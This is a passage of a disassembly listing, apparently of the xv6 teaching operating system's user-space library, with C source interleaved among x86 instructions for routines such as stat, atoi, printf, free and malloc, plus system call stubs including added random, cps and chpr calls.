$0xa,%al 1cf: 74 08 je 1d9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1d1: 8d 5e 01 lea 0x1(%esi),%ebx 1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx 1d7: 7c c7 jl 1a0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1d9: 8b 45 08 mov 0x8(%ebp),%eax 1dc: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1e0: 83 c4 2c add $0x2c,%esp 1e3: 5b pop %ebx 1e4: 5e pop %esi 1e5: 5f pop %edi 1e6: 5d pop %ebp 1e7: c3 ret 1e8: 90 nop 1e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001f0 <stat>: int stat(char *n, struct stat *st) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 56 push %esi 1f4: 53 push %ebx 1f5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 1f8: 8b 45 08 mov 0x8(%ebp),%eax 1fb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 202: 00 203: 89 04 24 mov %eax,(%esp) 206: e8 d7 00 00 00 call 2e2 <open> if(fd < 0) 20b: 85 c0 test %eax,%eax stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 20d: 89 c3 mov %eax,%ebx if(fd < 0) 20f: 78 27 js 238 <stat+0x48> return -1; r = fstat(fd, st); 211: 8b 45 0c mov 0xc(%ebp),%eax 214: 89 1c 24 mov %ebx,(%esp) 217: 89 44 24 04 mov %eax,0x4(%esp) 21b: e8 da 00 00 00 call 2fa <fstat> close(fd); 220: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 223: 89 c6 mov %eax,%esi close(fd); 225: e8 a0 00 00 00 call 2ca <close> return r; 22a: 89 f0 mov %esi,%eax } 22c: 83 c4 10 add $0x10,%esp 22f: 5b pop %ebx 230: 5e pop %esi 231: 5d pop %ebp 232: c3 ret 233: 90 nop 234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 238: b8 ff ff ff ff mov $0xffffffff,%eax 23d: eb ed jmp 22c <stat+0x3c> 23f: 90 nop 00000240 <atoi>: return r; } int atoi(const char *s) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 8b 4d 08 mov 0x8(%ebp),%ecx 246: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 247: 0f be 11 movsbl (%ecx),%edx 24a: 8d 42 d0 lea -0x30(%edx),%eax 24d: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 24f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 254: 77 17 ja 26d <atoi+0x2d> 256: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 258: 83 c1 01 add $0x1,%ecx 25b: 8d 04 80 lea (%eax,%eax,4),%eax 25e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 262: 0f be 11 movsbl (%ecx),%edx 265: 8d 5a d0 lea -0x30(%edx),%ebx 268: 80 fb 09 cmp $0x9,%bl 26b: 76 eb jbe 258 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 26d: 5b pop %ebx 26e: 5d pop %ebp 26f: c3 ret 00000270 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 270: 55 push %ebp char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 271: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, void *vsrc, int n) { 273: 89 e5 mov %esp,%ebp 275: 56 push %esi 276: 8b 45 08 mov 0x8(%ebp),%eax 279: 53 push %ebx 27a: 8b 5d 10 mov 0x10(%ebp),%ebx 27d: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 280: 85 db test %ebx,%ebx 282: 7e 12 jle 296 <memmove+0x26> 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 0000029a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 29a: b8 01 00 00 00 mov $0x1,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <exit>: SYSCALL(exit) 2a2: b8 02 00 00 00 mov $0x2,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <wait>: SYSCALL(wait) 2aa: b8 03 00 00 00 mov $0x3,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <pipe>: SYSCALL(pipe) 2b2: b8 04 00 00 00 mov $0x4,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <read>: SYSCALL(read) 2ba: b8 05 00 00 00 mov $0x5,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <write>: SYSCALL(write) 2c2: b8 10 00 00 00 mov $0x10,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <close>: SYSCALL(close) 2ca: b8 15 00 00 00 mov $0x15,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <kill>: SYSCALL(kill) 2d2: b8 06 00 00 00 mov $0x6,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <exec>: SYSCALL(exec) 2da: b8 07 00 00 00 mov $0x7,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <open>: SYSCALL(open) 2e2: b8 0f 00 00 00 mov $0xf,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mknod>: SYSCALL(mknod) 2ea: b8 11 00 00 00 mov $0x11,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <unlink>: SYSCALL(unlink) 2f2: b8 12 00 00 00 mov $0x12,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <fstat>: SYSCALL(fstat) 2fa: b8 08 00 00 00 mov $0x8,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <link>: SYSCALL(link) 302: b8 13 00 00 00 mov $0x13,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mkdir>: SYSCALL(mkdir) 30a: b8 14 00 00 00 mov $0x14,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <chdir>: SYSCALL(chdir) 312: b8 09 00 00 00 mov $0x9,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <dup>: SYSCALL(dup) 31a: b8 0a 00 00 00 mov $0xa,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getpid>: SYSCALL(getpid) 322: b8 0b 00 00 00 mov $0xb,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <random>: SYSCALL(random) // This is the system call that we are adding for XOR_SHIFT 32a: b8 16 00 00 00 mov $0x16,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sbrk>: SYSCALL(sbrk) 332: b8 0c 00 00 00 mov $0xc,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <sleep>: SYSCALL(sleep) 33a: b8 0d 00 00 00 mov $0xd,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <uptime>: SYSCALL(uptime) 342: b8 0e 00 00 00 mov $0xe,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <cps>: SYSCALL(cps) 34a: b8 17 00 00 00 mov $0x17,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <chpr>: SYSCALL(chpr) 352: b8 18 00 00 00 mov $0x18,%eax 357: cd 40 int $0x40 359: c3 ret 35a: 66 90 xchg %ax,%ax 35c: 66 90 xchg %ax,%ax 35e: 66 90 xchg %ax,%ax 00000360 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 57 push %edi 364: 56 push %esi 365: 89 c6 mov %eax,%esi 367: 53 push %ebx 368: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 36b: 8b 5d 08 mov 0x8(%ebp),%ebx 36e: 85 db test %ebx,%ebx 370: 74 09 je 37b <printint+0x1b> 372: 89 d0 mov %edx,%eax 374: c1 e8 1f shr $0x1f,%eax 377: 84 c0 test %al,%al 379: 75 75 jne 3f0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 37b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 37d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 384: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 387: 31 ff xor %edi,%edi 389: 89 ce mov %ecx,%esi 38b: 8d 5d d7 lea -0x29(%ebp),%ebx 38e: eb 02 jmp 392 <printint+0x32> do{ buf[i++] = digits[x % base]; 390: 89 cf mov %ecx,%edi 392: 31 d2 xor %edx,%edx 394: f7 f6 div %esi 396: 8d 4f 01 lea 0x1(%edi),%ecx 399: 0f b6 92 76 07 00 00 movzbl 0x776(%edx),%edx }while((x /= base) != 0); 3a0: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3a2: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 3a5: 75 e9 jne 390 <printint+0x30> if(neg) 3a7: 8b 55 c4 mov -0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3aa: 89 c8 mov %ecx,%eax 3ac: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 3af: 85 d2 test %edx,%edx 3b1: 74 08 je 3bb <printint+0x5b> buf[i++] = '-'; 3b3: 8d 4f 02 lea 0x2(%edi),%ecx 3b6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 3bb: 8d 79 ff lea -0x1(%ecx),%edi 3be: 66 90 xchg %ax,%ax 3c0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 3c5: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3c8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 3cf: 00 3d0: 89 5c 24 04 mov %ebx,0x4(%esp) 3d4: 89 34 24 mov %esi,(%esp) 3d7: 88 45 d7 mov %al,-0x29(%ebp) 3da: e8 e3 fe ff ff call 2c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3df: 83 ff ff cmp $0xffffffff,%edi 3e2: 75 dc jne 3c0 <printint+0x60> putc(fd, buf[i]); } 3e4: 83 c4 4c add $0x4c,%esp 3e7: 5b pop %ebx 3e8: 5e pop %esi 3e9: 5f pop %edi 3ea: 5d pop %ebp 3eb: c3 ret 3ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 3f0: 89 d0 mov %edx,%eax 3f2: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 3f4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 3fb: eb 87 jmp 384 <printint+0x24> 3fd: 8d 76 00 lea 0x0(%esi),%esi 00000400 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 404: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 406: 56 push %esi 407: 53 push %ebx 408: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 40b: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 40e: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 411: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 414: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 417: 0f b6 13 movzbl (%ebx),%edx 41a: 83 c3 01 add $0x1,%ebx 41d: 84 d2 test %dl,%dl 41f: 75 39 jne 45a <printf+0x5a> 421: e9 c2 00 00 00 jmp 4e8 <printf+0xe8> 426: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 428: 83 fa 25 cmp $0x25,%edx 42b: 0f 84 bf 00 00 00 je 4f0 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 431: 8d 45 e2 lea -0x1e(%ebp),%eax 434: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 43b: 00 43c: 89 44 24 04 mov %eax,0x4(%esp) 440: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 443: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 446: e8 77 fe ff ff call 2c2 <write> 44b: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 44e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 452: 84 d2 test %dl,%dl 454: 0f 84 8e 00 00 00 je 4e8 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 45a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 45c: 0f be c2 movsbl %dl,%eax if(state == 0){ 45f: 74 c7 je 428 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 461: 83 ff 25 cmp $0x25,%edi 464: 75 e5 jne 44b <printf+0x4b> if(c == 'd'){ 466: 83 fa 64 cmp $0x64,%edx 469: 0f 84 31 01 00 00 je 5a0 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 46f: 25 f7 00 00 00 and $0xf7,%eax 474: 83 f8 70 cmp $0x70,%eax 477: 0f 84 83 00 00 00 je 500 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 47d: 83 fa 73 cmp $0x73,%edx 480: 0f 84 a2 00 00 00 je 528 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 486: 83 fa 63 cmp $0x63,%edx 489: 0f 84 35 01 00 00 je 5c4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 48f: 83 fa 25 cmp $0x25,%edx 492: 0f 84 e0 00 00 00 je 578 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 498: 8d 45 e6 lea -0x1a(%ebp),%eax 49b: 83 c3 01 add $0x1,%ebx 49e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4a5: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4a6: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4a8: 89 44 24 04 mov %eax,0x4(%esp) 4ac: 89 34 24 mov %esi,(%esp) 4af: 89 55 d0 mov %edx,-0x30(%ebp) 4b2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 4b6: e8 07 fe ff ff call 2c2 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4bb: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4be: 8d 45 e7 lea -0x19(%ebp),%eax 4c1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4c8: 00 4c9: 89 44 24 04 mov %eax,0x4(%esp) 4cd: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4d0: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4d3: e8 ea fd ff ff call 2c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 4dc: 84 d2 test %dl,%dl 4de: 0f 85 76 ff ff ff jne 45a <printf+0x5a> 4e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 4e8: 83 c4 3c add $0x3c,%esp 4eb: 5b pop %ebx 4ec: 5e pop %esi 4ed: 5f pop %edi 4ee: 5d pop %ebp 4ef: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 4f0: bf 25 00 00 00 mov $0x25,%edi 4f5: e9 51 ff ff ff jmp 44b <printf+0x4b> 4fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 500: 8b 45 d4 mov -0x2c(%ebp),%eax 503: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 508: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 50a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 511: 8b 10 mov (%eax),%edx 513: 89 f0 mov %esi,%eax 515: e8 46 fe ff ff call 360 <printint> ap++; 51a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 51e: e9 28 ff ff ff jmp 44b <printf+0x4b> 523: 90 nop 524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 528: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 52b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 52f: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 531: b8 6f 07 00 00 mov $0x76f,%eax 536: 85 ff test %edi,%edi 538: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 53b: 0f b6 07 movzbl (%edi),%eax 53e: 84 c0 test %al,%al 540: 74 2a je 56c <printf+0x16c> 542: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 548: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 54b: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 54e: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 551: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 558: 00 559: 89 44 24 04 mov %eax,0x4(%esp) 55d: 89 34 24 mov %esi,(%esp) 560: e8 5d fd ff ff call 2c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 565: 0f b6 07 movzbl (%edi),%eax 568: 84 c0 test %al,%al 56a: 75 dc jne 548 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 56c: 31 ff xor %edi,%edi 56e: e9 d8 fe ff ff jmp 44b <printf+0x4b> 573: 90 nop 574: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 578: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 57b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 57d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 584: 00 585: 89 44 24 04 mov %eax,0x4(%esp) 589: 89 34 24 mov %esi,(%esp) 58c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 590: e8 2d fd ff ff call 2c2 <write> 595: e9 b1 fe ff ff jmp 44b <printf+0x4b> 59a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 5a0: 8b 45 d4 mov -0x2c(%ebp),%eax 5a3: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5a8: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 5ab: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5b2: 8b 10 mov (%eax),%edx 5b4: 89 f0 mov %esi,%eax 5b6: e8 a5 fd ff ff call 360 <printint> ap++; 5bb: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5bf: e9 87 fe ff ff jmp 44b <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5c4: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5c7: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5c9: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5cb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5d2: 00 5d3: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5d6: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5d9: 8d 45 e4 lea -0x1c(%ebp),%eax 5dc: 89 44 24 04 mov %eax,0x4(%esp) 5e0: e8 dd fc ff ff call 2c2 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 5e5: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5e9: e9 5d fe ff ff jmp 44b <printf+0x4b> 5ee: 66 90 xchg %ax,%ax 000005f0 <free>: static Header base; static Header *freep; void free(void *ap) { 5f0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5f1: a1 f0 09 00 00 mov 0x9f0,%eax static Header base; static Header *freep; void free(void *ap) { 5f6: 89 e5 mov %esp,%ebp 5f8: 57 push %edi 5f9: 56 push %esi 5fa: 53 push %ebx 5fb: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5fe: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 600: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 603: 39 d0 cmp %edx,%eax 605: 72 11 jb 618 <free+0x28> 607: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 608: 39 c8 cmp %ecx,%eax 60a: 72 04 jb 610 <free+0x20> 60c: 39 ca cmp %ecx,%edx 60e: 72 10 jb 620 <free+0x30> 610: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 612: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 614: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 616: 73 f0 jae 608 <free+0x18> 618: 39 ca cmp %ecx,%edx 61a: 72 04 jb 620 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 61c: 39 c8 cmp %ecx,%eax 61e: 72 f0 jb 610 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 620: 8b 73 fc mov -0x4(%ebx),%esi 623: 8d 3c f2 lea (%edx,%esi,8),%edi 626: 39 cf cmp %ecx,%edi 628: 74 1e je 648 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 62a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 62d: 8b 48 04 mov 0x4(%eax),%ecx 630: 8d 34 c8 lea (%eax,%ecx,8),%esi 633: 39 f2 cmp %esi,%edx 635: 74 28 je 65f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 637: 89 10 mov %edx,(%eax) freep = p; 639: a3 f0 09 00 00 mov %eax,0x9f0 } 63e: 5b pop %ebx 63f: 5e pop %esi 640: 5f pop %edi 641: 5d pop %ebp 642: c3 ret 643: 90 nop 644: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 648: 03 71 04 add 0x4(%ecx),%esi 64b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 64e: 8b 08 mov (%eax),%ecx 650: 8b 09 mov (%ecx),%ecx 652: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 655: 8b 48 04 mov 0x4(%eax),%ecx 658: 8d 34 c8 lea (%eax,%ecx,8),%esi 65b: 39 f2 cmp %esi,%edx 65d: 75 d8 jne 637 <free+0x47> p->s.size += bp->s.size; 65f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 662: a3 f0 09 00 00 mov %eax,0x9f0 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 667: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 66a: 8b 53 f8 mov -0x8(%ebx),%edx 66d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 66f: 5b pop %ebx 670: 5e pop %esi 671: 5f pop %edi 672: 5d pop %ebp 673: c3 ret 674: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 67a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000680 <malloc>: return freep; } void* malloc(uint nbytes) { 680: 55 push %ebp 681: 89 e5 mov %esp,%ebp 683: 57 push %edi 684: 56 push %esi 685: 53 push %ebx 686: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 689: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 68c: 8b 1d f0 09 00 00 mov 0x9f0,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 692: 8d 48 07 lea 0x7(%eax),%ecx 695: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 698: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 69a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 69d: 0f 84 9b 00 00 00 je 73e <malloc+0xbe> 6a3: 8b 13 mov (%ebx),%edx 6a5: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 6a8: 39 fe cmp %edi,%esi 6aa: 76 64 jbe 710 <malloc+0x90> 6ac: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6b3: bb 00 80 00 00 mov $0x8000,%ebx 6b8: 89 45 e4 mov %eax,-0x1c(%ebp) 6bb: eb 0e jmp 6cb <malloc+0x4b> 6bd: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6c0: 8b 02 mov (%edx),%eax 